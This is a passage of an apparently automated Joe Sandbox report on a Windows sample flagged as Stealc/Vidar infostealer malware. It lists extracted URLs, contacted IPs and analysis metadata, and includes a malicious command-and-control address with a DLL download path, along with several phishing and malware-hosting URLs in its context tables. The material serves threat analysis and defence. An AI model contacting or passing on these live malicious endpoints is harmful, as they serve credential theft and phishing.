http://185.215.113.206/746f34465cf17784/softokn3.dll6phm	file.exe, 00000000.00000002.2580701195.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://i.y.qq.com/n2/m/index.html	d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	false		unknown
https://www.deezer.com/	d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	false		unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/g	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/f	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://web.telegram.org/	d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	false		unknown
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7489	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?q=	chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000002.00000003.2247540363.000012240319C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2440902129.00007BCC0017C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000002.00000003.2246013358.0000122403134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246454529.0000122403270000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247100114.000012240262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246425767.0000122403174000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247836470.0000122402FC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247588564.000012240340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246928645.00001224031B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246320389.00001224032A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246279590.0000122403254000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246784019.0000122402E94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246875973.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247267223.00001224032C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2246853163.0000122402918000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.0.dr, Web Data.9.dr	false	URL Reputation: safe	unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://excel.new?from=EdgeM365Shoreline	d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	false		unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/spreadsheets/	chrome.exe, 00000002.00000003.2270669118.00001224037F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269059945.0000122402DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3078	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7553	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4722	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	file.exe, 00000000.00000003.2521028267.0000000023B46000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7556	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2601149719.00000000238DD000.00000004.00000020.00020000.00000000.sdmp, GDAAKFIDGIEGDGDHIDAK.0.dr	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	msedge.exe, 00000007.00000002.2440902129.00007BCC0017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.9.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2601149719.00000000238DD000.00000004.00000020.00020000.00000000.sdmp, GDAAKFIDGIEGDGDHIDAK.0.dr	false		unknown
https://chrome.google.com/webstore/	manifest.json.9.dr	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/&	chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000002.00000003.2238264146.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237576009.000012240258C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3623	chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.office.com	d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	false		unknown
http://anglebug.com/3625	chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.222.241.154	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
142.250.185.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.47.50.133	unknown	United States	16625	AKAMAI-ASUS	false
108.156.211.59	unknown	United States	16509	AMAZON-02US	false
23.198.7.25	unknown	United States	20940	AKAMAI-ASN1EU	false
23.218.232.154	unknown	United States	24835	RAYA-ASEG	false
142.250.185.110	play.google.com	United States	15169	GOOGLEUS	false
4.150.155.223	unknown	United States	3356	LEVEL3US	false
23.222.241.140	unknown	United States	20940	AKAMAI-ASN1EU	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
131.253.33.203	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.238	plus.l.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.189.173.23	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.218.232.170	unknown	United States	24835	RAYA-ASEG	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544852
Start date and time:	2024-10-29 20:33:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@63/301@26/27
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 173.194.76.84, 216.58.212.142, 34.104.35.123, 172.217.16.131, 216.58.206.74, 142.250.186.170, 142.250.186.106, 142.250.184.234, 142.250.185.202, 216.58.212.138, 172.217.23.106, 172.217.16.202, 142.250.185.138, 142.250.185.74, 172.217.18.10, 142.250.185.170, 142.250.184.202, 172.217.18.106, 142.250.185.106, 142.250.186.138, 2.16.100.168, 142.250.186.42, 172.217.16.138, 142.250.74.202, 142.250.181.234, 216.58.212.170, 142.250.186.74, 192.229.221.95, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 142.250.185.174, 13.107.6.158, 20.56.187.20, 2.19.126.145, 2.19.126.152, 23.38.98.80, 23.38.98.76, 23.38.98.77, 23.38.98.79, 23.38.98.86, 23.38.98.75, 23.38.98.74, 23.38.98.73, 23.38.98.88, 88.221.110.179, 88.221.110.195, 2.23.209.150, 2.23.209.158, 2.23.209.179, 2.23.209.189, 2.23.209.182, 2.23.209.185, 2.23.209.130, 2.23.209.177, 2.23.209.176, 2.23.209.161, 2.23.209.133, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.23.209.135, 199.232.210.172, 1
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, clientservices.googleapis.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, optimizationguide-pa.googleapis.com, edge-microsoft-com.dual-a-0036.a-msedge.net, accounts.google.com,
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:35:18	API Interceptor	45x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
20.125.209.212	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
23.222.241.154	file.exe	Get hash	malicious	Stealc, Vidar	Browse
23.222.241.154	https://r20.rs6.net/tn.jsp?t=ujqgb8abb.0.0.zumspjcab.0&id=preview&r=3&p=http%3A%2F%2Ffiles.constantcontact.com%2F99239f29001%2F765a22db-b453-4315-a344-dc2294500069.pdf	Get hash	malicious	Unknown	Browse
162.159.61.3	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	Oakville_Service_Update_d76b33a1-3420-40be-babd-e82e253ad25c.pdf	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
108.156.211.59	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://google.com/amp/ip182.ip-135-148-101.us/SWhOYXJKdC9NYllYNWFSNXdvbGswWjU0M1U1Vk9xZXQvVUs2cHVtRGFsRVhGblA2ajJrbVppVUxBSEFMNXNTWWVPNm0xa3FQQm5BZEp1ZndrUFdGQ3c9PQ__	Get hash	malicious	Unknown	Browse
	https://neon.ly/f132f836-82cf-441d-83cc-ac2dde9fb1d7	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	18.239.83.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	108.156.60.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	http://199.59.243.227	Get hash	malicious	HTMLPhisher	Browse	23.46.150.74
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.148
	jew.sh4.elf	Get hash	malicious	Mirai	Browse	172.232.16.218
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.173
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.180
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.88
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	2.16.238.24
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.177
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.213
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.31.0.196
MICROSOFT-CORP-MSN-AS-BLOCKUS	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://7654658765888767.azurefd.net/mt92C	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	http://199.59.243.227	Get hash	malicious	HTMLPhisher	Browse	20.157.217.118
	scan1738761_rsalinas@wcctxlaw.com.pdf	Get hash	malicious	HTMLPhisher	Browse	20.190.160.17
	SystemMechanicUltimateDefense_DM.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	20.157.87.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.96.153.111
	SystemMechanicUltimateDefense_DM.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	20.157.87.45
	jew.sh4.elf	Get hash	malicious	Mirai	Browse	134.170.135.112
	jew.x86.elf	Get hash	malicious	Mirai	Browse	104.40.28.50
CLOUDFLARENETUS	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.74.191
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	188.114.96.3
	https://dartergary.wordpress.com/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	104.26.4.39
	https://massgrave.dev/get	Get hash	malicious	Unknown	Browse	104.21.22.3
	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	HTMLPhisher	Browse	104.21.17.93
